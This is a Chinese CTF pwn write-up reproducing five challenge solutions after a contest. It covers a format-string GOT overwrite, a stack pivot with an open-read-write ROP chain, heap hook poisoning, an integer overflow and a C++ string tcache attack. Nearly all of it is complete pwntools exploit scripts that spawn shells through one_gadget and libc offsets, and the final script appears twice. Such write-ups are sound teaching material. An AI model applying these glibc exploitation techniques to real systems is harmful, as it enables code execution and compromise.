前言

比赛期间忙于建模,赛后复现一下

cyberprinter

一个格式化字符串漏洞,打libc的got表即可。

puts函数内部会调用libc中的strlen函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import *
r = process("./cyberprinter")
e = ELF("./cyberprinter")
libc = e.libc

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r.timeout = 0.5
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_base = lambda tag, base :r.info(tag + ': {:#x}'.format(base))
leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))

def dbg(cmd=''):
gdb.attach(r,cmd)
pause()

ru(b'Your name?pls..')
se(b'a'*0x18)
libc_base = uu64(b'\x7f')-0x1ed5c0 + 0x1000
leak("libc_base",libc_base)
strlen_got = 0x1eb0a8 + libc_base
shell = libc_base + 0xe6af1
ru(b"But there is sth wrong in it,so you can't do sth")

pl1 = fmtstr_payload(8,{strlen_got:shell})
sl(pl1)
r.interactive()

apptizer

栈迁移+orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from LibcSearcher import *
r = process("./appetizer")
e = ELF("./appetizer")
libc = e.libc

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r.timeout = 0.5
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_base = lambda tag, base :r.info(tag + ': {:#x}'.format(base))
leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))

def dbg(cmd=''):
gdb.attach(r,cmd)
pause()

identify = 0x7373656C656D614E
ru(b"Let's check your identity")
se(b'a'*2 + p64(identify))
ru(b'Here you are:')
fake_rbp= int(rl().strip(),16)
text_base = fake_rbp-0x4050
buf = text_base + 0x4000
leak("text_base",text_base)

pop_rdi = text_base + 0x14d3
pop_rsi_r15 = text_base + 0x1d41
leave_ret = text_base + 0x1364
csu_start=text_base+0x14B0
csu_end=text_base+0x14ca
ret=text_base+0x101a

ru(b'And pls write your own information on it')
rop = p64(ret)*10 + p64(csu_end)
rop += p64(0) + p64(1) + p64(1) + p64(text_base + e.got['write']) + p64(0x8) + p64(text_base + e.got['write']) + p64(csu_start)
rop += p64(0) + p64(0) + p64(1) + p64(0)+ p64(fake_rbp+0x108) + p64(0x108) + p64(text_base + e.got['read']) + p64(csu_start)
rop += p64(0) *7
se(rop)

ru(b'Tell me your wish:')
pl2 = p64(fake_rbp-0x8) + p64(leave_ret)

se(pl2)
sleep(1)
libc_base = uu64(b'\x7f')-0x10e060
leak("libc_base",libc_base)
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
puts_addr=libc_base+libc.sym['puts']
leak("buf",fake_rbp+0x108)

flag_addr = fake_rbp + 0x108 + 0x100
orw = flat(
pop_rdi , flag_addr,pop_rsi,0,open_addr,
pop_rdi , 3 , pop_rsi , flag_addr , pop_rdx , 0x100 , read_addr,
pop_rdi , flag_addr , puts_addr
).ljust(0x100,b'0') + b'./flag\x00'

se(orw)
r.interactive()

bar

简单堆题,洞还挺多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from LibcSearcher import *
r = process("./bar")
e = ELF("./bar")
libc = e.libc

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r.timeout = 0.5
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_base = lambda tag, base :r.info(tag + ': {:#x}'.format(base))
leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))

def dbg(cmd=''):
gdb.attach(r,cmd)
pause()

def menu(num):
ru(b'Your choice:')
sl(str(num).encode())

def gift():
menu(3)

# 0:0x100 1:0x50 2:0x40
def add(size,desc):
menu(1)
ru(b'Whisky , brandy or Vodka?')
sl(str(size).encode())
ru(b'You may want to tell sth to the waiter:')
sl(desc)
def delete(index,offest):
menu(2)
ru(b'Which?')
sl(str(index).encode())
ru(b'How much?')
sl(str(offest).encode())

gift()
rl()
libc_base = int(rl().strip(),16) - 0x1ec6a0
leak("libc_base",libc_base)
malloc_hook = libc_base + 0x1ebb70 - 0x10
og = [0xe6aee,0xe6af1,0xe6af4]
shell = libc_base + og[1]
add(0,b'a'*0xd0 + p64(0) + p64(0x61)+p64(malloc_hook))
add(1,b'a'*0x10)#1
add(1,b'c'*0x10)#2
add(1,b'd'*0x10)#3
delete(0,0x40)
delete(2,0x50)
delete(3,0x50)
delete(1,0x50)
delete(1,0x100-0x20)
add(1,b'a')
add(1,b'a')
add(1,p64(shell))

add(0,b'0')

r.interactive()

ez_note

整数溢出

这里有个小问题,就是关于强制类型转换size_t 转 int是保留低字节的,我之前一直认为的是错误的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from LibcSearcher import *
r = process("./note")
e = ELF("./note")
libc = e.libc

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r.timeout = 0.5
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64 = lambda data :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_base = lambda tag, base :r.info(tag + ': {:#x}'.format(base))
leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))

def dbg(cmd=''):
gdb.attach(r,cmd)
pause()

def menu(num):
ru(b'Your choice:')
sl(str(num).encode())

def add(size,desc):
menu(1)
ru(b'Note size:')
se(str(size).encode())
ru(b'Note content:')
se(desc)

def show(index):
menu(3)
ru(b'Note ID:')
sl(str(index).encode())

def delete(index):
menu(2)
ru(b'Note ID:')
sl(str(index).encode())

add(0x80,b'amazh') # 0
add(0x80,b'amazh') # 1
add(0x200,b'amazh') # 2
add(0x200,b'amazh') # 3
add(0x80,b'amazh') # 5

delete(0)
pl1=b'a'*0x80+p64(0)+p64(0x4b1)
add(0x100000080,pl1)#0
delete(1)
add(0x80,'amazh')#1
show(2)
libc_base = uu64(b'\x7f')-0x1ebff0 + 0x410
leak("libc_base",libc_base)
free_hook = libc_base + 0x1eeb28
og = [0xe6aee,0xe6af1,0xe6af4]
shell = libc_base + og[1]
add(0x400,b'amazh')
add(0x200,b'amazh')#6
delete(6)
delete(3)
delete(2)
add(0x400,b'a'*0x200 + p64(0) + p64(0x211) + p64(free_hook))
add(0x200,b'a')
add(0x200,p64(shell))
delete(0)
# dbg('')

r.interactive()

cgrasstring

c++ 貌似ida伪代码有点看不懂,但是总要克服的,听Toka师傅说,多刷题或者好好学学C++,emm,感觉以后C++ 总要用到的,还是好好学学吧

先把题解抄下来吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
C++ STLstring类的resize很类似realloc,可以实现free功能。知道这个,就是一个很裸的2.27版本的tcache attack了

def z():
gdb.attach(r)

def cho(num):
r.sendlineafter("Your choice:",str(num))

def add(size,con):
cho(1)
r.sendlineafter("size:",str(size))
r.sendafter("content:",con)

def change(idx,size,con):
cho(2)
r.sendlineafter("idx",str(idx))
r.sendlineafter("size",str(size))
r.sendafter("con",con)

def show(idx):
cho(3)
r.sendlineafter("idx",str(idx))


def exp():
global r
global libc
##r=process('./cgrasstring')
r=remote("127.0.0.1",9999)
libc=ELF('libc-2.27.so')
for i in range(0,8):
add(0x80,"nameless")
for i in range(1,8):
change(i,0x90,'\xe0')
##z()
##z()
show(7)
r.recvuntil('Now you see it:')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebce0
log.success("libcbase:"+hex(libcbase))

##set_libcfunc
##exit_hook=libcbase+0x1ed608
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
add(0x20,'cat flag')
change(8,0x30,p64(free_hook))
one=[0x4f3d5,0x4f432,0x10a41c]
ogg=libcbase+one[1]

##get_shell
##z()
add(0x20,p64(ogg))
##z()
##cho(4)
r.interactive()

if __name__ == '__main__':
exp()
def z():
gdb.attach(r)

def cho(num):
r.sendlineafter("Your choice:",str(num))

def add(size,con):
cho(1)
r.sendlineafter("size:",str(size))
r.sendafter("content:",con)

def change(idx,size,con):
cho(2)
r.sendlineafter("idx",str(idx))
r.sendlineafter("size",str(size))
r.sendafter("con",con)

def show(idx):
cho(3)
r.sendlineafter("idx",str(idx))


def exp():
global r
global libc
##r=process('./cgrasstring')
r=remote("127.0.0.1",9999)
libc=ELF('libc-2.27.so')
for i in range(0,8):
add(0x80,"nameless")
for i in range(1,8):
change(i,0x90,'\xe0')
##z()
##z()
show(7)
r.recvuntil('Now you see it:')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebce0
log.success("libcbase:"+hex(libcbase))

##set_libcfunc
##exit_hook=libcbase+0x1ed608
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
add(0x20,'cat flag')
change(8,0x30,p64(free_hook))
one=[0x4f3d5,0x4f432,0x10a41c]
ogg=libcbase+one[1]

##get_shell
##z()
add(0x20,p64(ogg))
##z()
##cho(4)
r.interactive()

if __name__ == '__main__':
exp()